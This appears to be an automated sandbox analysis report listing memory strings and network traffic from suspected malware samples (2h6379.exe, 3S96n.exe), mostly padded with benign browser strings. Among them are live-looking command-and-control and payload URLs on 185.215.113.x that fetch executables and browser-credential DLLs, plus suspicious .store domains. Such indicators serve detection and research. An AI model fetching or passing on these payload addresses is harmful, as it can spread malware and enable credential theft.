Source: 000003.log7.11.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log7.11.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000003.2356170879.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2356773210.000000E8003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2356661542.000000E800FA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000007.00000003.2356170879.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2356773210.000000E8003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2356661542.000000E800FA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000007.00000003.2347935219.000000E8006DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: founpiuer.store
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: founpiuer.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 05 Nov 2024 09:12:59 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cMKbTHc4gm%2FQaKmRbVEIohg37pqh65nqJ5g92s2VRkPdxf3Ijaum7l%2B5kJCr2OaZidKBK%2FUdJUlClNcD2G%2BhbD7GRBliS1FKpVERPzzUDVA8V5vspvJU0xpB37Uq2pdEsxw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ddbb9aa7c174869-DFW

Source: 2h6379.exe, 00000003.00000003.2251041301.0000000001522000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 2h6379.exe, 00000003.00000003.2251041301.0000000001522000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/HD
Source: 2h6379.exe, 00000003.00000003.2251174217.000000000157B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/b
Source: 2h6379.exe, 00000003.00000003.2251174217.000000000157B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/e
Source: 2h6379.exe, 00000003.00000002.2800924133.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 2h6379.exe, 2h6379.exe, 00000003.00000003.2251138988.000000000156A000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2680339790.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251156197.000000000156E000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2680670381.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2679910586.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.0000000001569000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 2h6379.exe, 2h6379.exe, 00000003.00000003.2251138988.000000000156A000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2680339790.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251156197.000000000156E000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2680670381.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2679910586.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251041301.000000000151C000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2251041301.0000000001522000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 2h6379.exe, 00000003.00000003.2251041301.000000000151C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe=
Source: 2h6379.exe, 00000003.00000002.2787483967.0000000000DAA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeJ
Source: 2h6379.exe, 00000003.00000003.2251041301.0000000001507000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exese/key4.dbPK
Source: 2h6379.exe, 2h6379.exe, 00000003.00000003.2680956566.0000000001507000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 3S96n.exe, 0000001A.00000002.2852271212.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, 3S96n.exe, 0000001A.00000002.2852271212.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 3S96n.exe, 0000001A.00000002.2852271212.0000000000D4C000.00000004.00000020.00020000.00000000.sdmp, 3S96n.exe, 0000001A.00000002.2852271212.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 3S96n.exe, 0000001A.00000002.2852271212.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 2h6379.exe, 00000003.00000002.2789380320.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php#L
Source: 2h6379.exe, 00000003.00000003.2680339790.0000000001588000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2679910586.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php&
Source: 2h6379.exe, 00000003.00000003.2679910586.00000000014F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php6
Source: 2h6379.exe, 00000003.00000003.2680339790.0000000001588000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2679910586.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php:
Source: 2h6379.exe, 00000003.00000002.2789765006.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpB
Source: 3S96n.exe, 0000001A.00000002.2852271212.0000000000D4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpS
Source: 2h6379.exe, 00000003.00000003.2679910586.00000000014F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpb
Source: 2h6379.exe, 00000003.00000002.2789765006.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpe
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpgPreference.Verb
Source: 2h6379.exe, 00000003.00000003.2680339790.0000000001588000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2679910586.0000000001588000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpr
Source: 2h6379.exe, 00000003.00000003.2680339790.0000000001588000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2679910586.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpz
Source: 3S96n.exe, 0000001A.00000002.2852271212.0000000000D4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/7
Source: 2h6379.exe, 2h6379.exe, 00000003.00000003.2680956566.0000000001507000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: 2h6379.exe, 00000003.00000003.2680956566.0000000001507000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllJ
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2679910586.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: 2h6379.exe, 00000003.00000003.2680339790.0000000001588000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2679910586.0000000001588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllb
Source: 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2800924133.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2680956566.000000000151C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: 2h6379.exe, 00000003.00000003.2679910586.000000000151C000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2680956566.000000000151C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dlll
Source: 2h6379.exe, 2h6379.exe, 00000003.00000003.2680956566.0000000001507000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: 2h6379.exe, 00000003.00000002.2800924133.0000000005E4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: 2h6379.exe, 2h6379.exe, 00000003.00000003.2680956566.0000000001507000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: 2h6379.exe, 00000003.00000003.2680956566.0000000001507000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2789765006.00000000014F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll:
Source: 2h6379.exe, 2h6379.exe, 00000003.00000003.2680339790.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000002.2800524427.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2680670381.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2679910586.0000000001569000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: 2h6379.exe, 00000003.00000002.2800524427.0000000005D40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll3dCb
Source: 2h6379.exe, 00000003.00000003.2680956566.0000000001507000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dlla
Source: 2h6379.exe, 00000003.00000003.2680339790.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2680670381.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 2h6379.exe, 00000003.00000003.2679910586.0000000001569000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllr/
Source: 3S96n.exe, 0000001A.00000002.2852271212.0000000000D4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/L
Source: 3S96n.exe, 0000001A.00000002.2852271212.0000000000D4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ata
Source: 3S96n.exe, 0000001A.00000002.2852271212.0000000000D4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/k
Source: 3S96n.exe, 0000001A.00000002.2852271212.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/rg~
Source: 3S96n.exe, 0000001A.00000002.2852271212.0000000000D4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 3S96n.exe, 0000001A.00000002.2852271212.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206fgR
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000007.00000003.2350870943.000000E8009E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350828698.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2350457522.000000E80038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466260453.00005E000256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000A.00000003.2466794910.00005E0002558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
